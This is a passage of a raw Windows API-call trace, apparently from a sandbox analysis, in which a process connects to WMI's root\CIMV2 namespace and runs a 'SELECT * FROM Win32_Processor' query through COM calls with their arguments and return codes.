puBuffLength=0x1b0bc6e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc6e0*=0xf, pszText=0x0) returned 0x0 [0153.232] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc6e0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc6e0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0153.235] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc668 | out: ppv=0x1b0bc668*=0x4b0108) returned 0x0 [0153.236] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc658 | out: pAptType=0x1b0bc658*=1) returned 0x0 [0153.236] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc660 | out: ppvObject=0x1b0bc660*=0x0) returned 0x80004002 [0153.236] IUnknown:Release (This=0x4b0108) returned 0x0 [0153.236] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1b0bc158 | out: lpiid=0x1b0bc158) returned 0x0 [0153.236] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbd28 | out: ppv=0x1b0bbd28*=0x1b2e8cc0) returned 0x0 [0153.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2e8cc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbe10 | out: ppvObject=0x1b0bbe10*=0x0) returned 0x80004002 [0153.241] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b2e8cc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbde8 | out: ppvObject=0x1b0bbde8*=0x1b2d7140) returned 0x0 [0153.241] WbemLocator:IUnknown:Release (This=0x1b2e8cc0) returned 0x0 [0153.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb90 | out: ppvObject=0x1b0bbb90*=0x1b2d7140) returned 0x0 [0153.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbc20 | out: ppvObject=0x1b0bbc20*=0x0) returned 0x80004002 [0153.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb418 | out: ppvObject=0x1b0bb418*=0x0) returned 0x80004002 [0153.241] WbemLocator:IUnknown:AddRef (This=0x1b2d7140) returned 0x3 [0153.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb2d8 | out: ppvObject=0x1b0bb2d8*=0x0) returned 0x80004002 [0153.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb260 | out: ppvObject=0x1b0bb260*=0x0) returned 0x80004002 [0153.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb250 | out: ppvObject=0x1b0bb250*=0x0) returned 0x80004002 [0153.241] CoGetContextToken (in: pToken=0x1b0bb300 | out: pToken=0x1b0bb300) returned 0x0 [0153.242] CoGetObjectContext (in: riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b314a08 | out: ppv=0x1b314a08*=0x4b00f0) returned 0x0 [0153.242] CoGetContextToken (in: pToken=0x1b0bb780 | out: pToken=0x1b0bb780) returned 0x0 [0153.243] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb840 | out: ppvObject=0x1b0bb840*=0x0) returned 0x80004002 [0153.243] WbemLocator:IUnknown:Release (This=0x1b2d7140) returned 0x2 [0153.243] WbemLocator:IUnknown:Release (This=0x1b2d7140) returned 0x1 [0153.244] CoGetContextToken (in: pToken=0x1b0bc1c0 | out: pToken=0x1b0bc1c0) returned 0x0 [0153.244] CoGetContextToken (in: pToken=0x1b0bc0c0 | out: pToken=0x1b0bc0c0) returned 0x0 [0153.244] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2d7140, riid=0x1b0bc220*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc1f0 | out: ppvObject=0x1b0bc1f0*=0x1b2d7140) returned 0x0 [0153.244] WbemLocator:IUnknown:AddRef (This=0x1b2d7140) returned 0x3 [0153.244] WbemLocator:IUnknown:Release (This=0x1b2d7140) returned 0x2 [0153.246] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc5f8 | out: puCount=0x1b0bc5f8*=0x2) returned 0x0 [0153.246] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=8, puBuffLength=0x1b0bc5f0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc5f0*=0xf, pszText=0x0) returned 0x0 [0153.246] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=8, puBuffLength=0x1b0bc5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc5f0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0153.247] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bc340 | out: ppv=0x1b0bc340*=0x1b2e8cc0) returned 0x0 [0153.247] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b2e8cc0, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bc4b8 | out: ppNamespace=0x1b0bc4b8*=0x4b9710) returned 0x0 [0153.289] WbemLocator:IUnknown:QueryInterface (in: This=0x4b9710, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc1b8 | out: ppvObject=0x1b0bc1b8*=0x1b2cbc10) returned 0x0 [0153.289] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2cbc10, pProxy=0x4b9710, pAuthnSvc=0x1b0bc280, pAuthzSvc=0x1b0bc200, pServerPrincName=0x1b0bc228, pAuthnLevel=0x1b0bc204, pImpLevel=0x1b0bc210, pAuthInfo=0x1b0bc238, pCapabilites=0x1b0bc214 | out: pAuthnSvc=0x1b0bc280*=0xa, pAuthzSvc=0x1b0bc200*=0x0, pServerPrincName=0x1b0bc228, pAuthnLevel=0x1b0bc204*=0x6, pImpLevel=0x1b0bc210*=0x2, pAuthInfo=0x1b0bc238, pCapabilites=0x1b0bc214*=0x1) returned 0x0 [0153.289] WbemLocator:IUnknown:Release (This=0x1b2cbc10) returned 0x1 [0153.289] WbemLocator:IUnknown:QueryInterface (in: This=0x4b9710, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc150 | out: ppvObject=0x1b0bc150*=0x1b2cbc58) returned 0x0 [0153.289] WbemLocator:IUnknown:QueryInterface (in: This=0x4b9710, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc160 | out: ppvObject=0x1b0bc160*=0x1b2cbc10) returned 0x0 [0153.290] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2cbc10, pProxy=0x4b9710, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0153.290] WbemLocator:IUnknown:Release (This=0x1b2cbc10) returned 0x2 [0153.290] WbemLocator:IUnknown:Release (This=0x1b2cbc58) returned 0x1 [0153.290] CoTaskMemFree (pv=0x1b33f3c0) [0153.290] WbemLocator:IUnknown:Release (This=0x1b2e8cc0) returned 0x0 [0153.290] WbemLocator:IUnknown:QueryInterface (in: This=0x4b9710, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbc50 | out: ppvObject=0x1b0bbc50*=0x1b2cbc58) returned 0x0 [0153.290] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbce0 | out: ppvObject=0x1b0bbce0*=0x0) returned 0x80004002 [0153.291] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb900 | out: ppvObject=0x1b0bb900*=0x0) returned 0x80004002 [0153.291] WbemLocator:IUnknown:QueryInterface (in: This=0x4b9710, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb4d8 | out: ppvObject=0x1b0bb4d8*=0x0) returned 0x80004002 [0153.292] WbemLocator:IUnknown:AddRef (This=0x1b2cbc58) returned 0x3 [0153.292] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb398 | out: ppvObject=0x1b0bb398*=0x0) returned 0x80004002 [0153.292] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb320 | out: ppvObject=0x1b0bb320*=0x0) returned 0x80004002 [0153.292] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb310 | out: ppvObject=0x1b0bb310*=0x1b2cbb38) returned 0x0 [0153.292] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2cbb38, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb338 | out: pCid=0x1b0bb338*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0153.292] WbemLocator:IUnknown:Release (This=0x1b2cbb38) returned 0x3 [0153.292] CoGetContextToken (in: pToken=0x1b0bb3c0 | out: pToken=0x1b0bb3c0) returned 0x0 [0153.292] CoGetContextToken (in: pToken=0x1b0bb840 | out: pToken=0x1b0bb840) returned 0x0 [0153.293] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb900 | out: ppvObject=0x1b0bb900*=0x1b2cbc20) returned 0x0 [0153.293] WbemLocator:IRpcOptions:Query (in: This=0x1b2cbc20, pPrx=0x1b2cbc58, dwProperty=2, pdwValue=0x1b0bb8f0 | out: pdwValue=0x1b0bb8f0) returned 0x80004002 [0153.293] WbemLocator:IUnknown:Release (This=0x1b2cbc20) returned 0x3 [0153.293] WbemLocator:IUnknown:Release (This=0x1b2cbc58) returned 0x2 [0153.293] CoGetContextToken (in: pToken=0x1b0bbf00 | out: pToken=0x1b0bbf00) returned 0x0 [0153.293] CoGetContextToken (in: pToken=0x1b0bbe00 | out: pToken=0x1b0bbe00) returned 0x0 [0153.293] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x1b0bbf60*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bbf30 | out: ppvObject=0x1b0bbf30*=0x4b9710) returned 0x0 [0153.293] WbemLocator:IUnknown:AddRef (This=0x4b9710) returned 0x4 [0153.294] WbemLocator:IUnknown:Release (This=0x4b9710) returned 0x3 [0153.294] WbemLocator:IUnknown:Release (This=0x4b9710) returned 0x2 [0153.303] SysStringLen (param_1=0x0) returned 0x0 [0153.303] CoGetContextToken (in: pToken=0x1b0bc030 | out: pToken=0x1b0bc030) returned 0x0 [0153.303] WbemLocator:IUnknown:AddRef (This=0x1b2cbc58) returned 0x3 [0153.304] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbc58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc030 | out: ppvObject=0x1b0bc030*=0x1b2cbc58) returned 0x0 [0153.304] WbemLocator:IUnknown:Release (This=0x1b2cbc58) returned 0x3 [0153.304] WbemLocator:IUnknown:Release (This=0x1b2cbc58) returned 0x2 [0153.304] CoGetContextToken (in: pToken=0x1b0bc160 | out: pToken=0x1b0bc160) returned 0x0 [0153.304] WbemLocator:IUnknown:AddRef (This=0x4b9710) returned 0x3 [0153.305] IWbemServices:ExecQuery (in: This=0x4b9710, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_Processor", lFlags=16, pCtx=0x0, ppEnum=0x1b0bc608 | out: ppEnum=0x1b0bc608*=0x1b316060) returned 0x0 [0153.310] IUnknown:QueryInterface (in: This=0x1b316060, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc2d8 | out: ppvObject=0x1b0bc2d8*=0x1b316068) returned 0x0 [0153.310] IClientSecurity:QueryBlanket (in: This=0x1b316068, pProxy=0x1b316060, pAuthnSvc=0x1b0bc3a0, pAuthzSvc=0x1b0bc320, pServerPrincName=0x1b0bc348, pAuthnLevel=0x1b0bc324, pImpLevel=0x1b0bc330, pAuthInfo=0x1b0bc358, pCapabilites=0x1b0bc334 | out: pAuthnSvc=0x1b0bc3a0*=0xa, pAuthzSvc=0x1b0bc320*=0x0, pServerPrincName=0x1b0bc348, pAuthnLevel=0x1b0bc324*=0x6, pImpLevel=0x1b0bc330*=0x2, pAuthInfo=0x1b0bc358, pCapabilites=0x1b0bc334*=0x1) returned 0x0 [0153.310] IUnknown:Release (This=0x1b316068) returned 0x1 [0153.310] IUnknown:QueryInterface (in: This=0x1b316060, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc270 | out: ppvObject=0x1b0bc270*=0x1b2cc2d8) returned 0x0 [0153.310] IUnknown:QueryInterface (in: This=0x1b316060, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc280 | out: ppvObject=0x1b0bc280*=0x1b316068) returned 0x0 [0153.310] IClientSecurity:SetBlanket (This=0x1b316068, pProxy=0x1b316060, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0153.312] IUnknown:Release (This=0x1b316068) returned 0x2 [0153.312] WbemLocator:IUnknown:Release (This=0x1b2cc2d8) returned 0x1 [0153.312] CoTaskMemFree (pv=0x1b33ed90) [0153.313] IUnknown:QueryInterface (in: This=0x1b316060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd40 | out: ppvObject=0x1b0bbd40*=0x1b2cc2d8) returned 0x0 [0153.313] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cc2d8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbdd0 | out: ppvObject=0x1b0bbdd0*=0x0) returned 0x80004002 [0153.313] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cc2d8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb9f0 | out: ppvObject=0x1b0bb9f0*=0x0) returned 0x80004002 [0153.313] IUnknown:QueryInterface (in: This=0x1b316060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb5c8 | out: ppvObject=0x1b0bb5c8*=0x0) returned 0x80004002 [0153.314] WbemLocator:IUnknown:AddRef (This=0x1b2cc2d8) returned 0x3 [0153.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cc2d8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb488 | out: ppvObject=0x1b0bb488*=0x0) returned 0x80004002 [0153.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cc2d8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb410 | out: ppvObject=0x1b0bb410*=0x0) returned 0x80004002 [0153.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cc2d8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb400 | out: ppvObject=0x1b0bb400*=0x1b2cc1b8) returned 0x0 [0153.314] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2cc1b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb428 | out: pCid=0x1b0bb428*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0153.314] WbemLocator:IUnknown:Release (This=0x1b2cc1b8) returned 0x3 [0153.314] CoGetContextToken (in: pToken=0x1b0bb4b0 | out: pToken=0x1b0bb4b0) returned 0x0 [0153.314] CoGetContextToken (in: pToken=0x1b0bb930 | out: pToken=0x1b0bb930) returned 0x0 [0153.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cc2d8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb9f0 | out: ppvObject=0x1b0bb9f0*=0x1b2cc2a0) returned 0x0 [0153.314] WbemLocator:IRpcOptions:Query (in: This=0x1b2cc2a0, pPrx=0x1b2cc2d8, dwProperty=2, pdwValue=0x1b0bb9e0 | out: pdwValue=0x1b0bb9e0) returned 0x80004002 [0153.314] WbemLocator:IUnknown:Release (This=0x1b2cc2a0) returned 0x3 [0153.315] WbemLocator:IUnknown:Release (This=0x1b2cc2d8) returned 0x2 [0153.315] CoGetContextToken (in: pToken=0x1b0bbff0 | out: pToken=0x1b0bbff0) returned 0x0 [0153.315] CoGetContextToken (in: pToken=0x1b0bbef0 | out: pToken=0x1b0bbef0) returned 0x0 [0153.315] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cc2d8, riid=0x1b0bc050*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc020 | out: ppvObject=0x1b0bc020*=0x1b316060) returned 0x0 [0153.315] IUnknown:AddRef (This=0x1b316060) returned 0x4 [0153.315] IUnknown:Release (This=0x1b316060) returned 0x3 [0153.315] IUnknown:Release (This=0x1b316060) returned 0x2 [0153.315] WbemLocator:IUnknown:Release (This=0x4b9710) returned 0x2 [0153.315] SysStringLen (param_1=0x0) returned 0x0 [0153.315] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc648 | out: puCount=0x1b0bc648*=0x2) returned 0x0 [0153.315] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc640*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc640*=0xf, pszText=0x0) returned 0x0 [0153.315] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc640*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc640*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0153.364] CoGetContextToken (in: pToken=0x1b0bc1c0 | out: pToken=0x1b0bc1c0) returned 0x0 [0153.364] IUnknown:AddRef (This=0x1b316060) returned 0x3 [0153.364] IEnumWbemClassObject:Clone (in: This=0x1b316060, ppEnum=0x1b0bc5c0 | out: ppEnum=0x1b0bc5c0*=0x1b2e17e0) returned 0x0 [0153.366] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc348 | out: ppvObject=0x1b0bc348*=0x1b2e17e8) returned 0x0 [0153.366] IClientSecurity:QueryBlanket (in: This=0x1b2e17e8, pProxy=0x1b2e17e0, pAuthnSvc=0x1b0bc410, pAuthzSvc=0x1b0bc390, pServerPrincName=0x1b0bc3b8, pAuthnLevel=0x1b0bc394, pImpLevel=0x1b0bc3a0, pAuthInfo=0x1b0bc3c8, pCapabilites=0x1b0bc3a4 | out: pAuthnSvc=0x1b0bc410*=0xa, pAuthzSvc=0x1b0bc390*=0x0, pServerPrincName=0x1b0bc3b8, pAuthnLevel=0x1b0bc394*=0x6, pImpLevel=0x1b0bc3a0*=0x2, pAuthInfo=0x1b0bc3c8, pCapabilites=0x1b0bc3a4*=0x1) returned 0x0 [0153.366] IUnknown:Release (This=0x1b2e17e8) returned 0x1 [0153.366] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc2e0 | out: ppvObject=0x1b0bc2e0*=0x1b2cbf98) returned 0x0 [0153.366] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc2f0 | out: ppvObject=0x1b0bc2f0*=0x1b2e17e8) returned 0x0 [0153.366] IClientSecurity:SetBlanket (This=0x1b2e17e8, pProxy=0x1b2e17e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0153.368] IUnknown:Release (This=0x1b2e17e8) returned 0x2 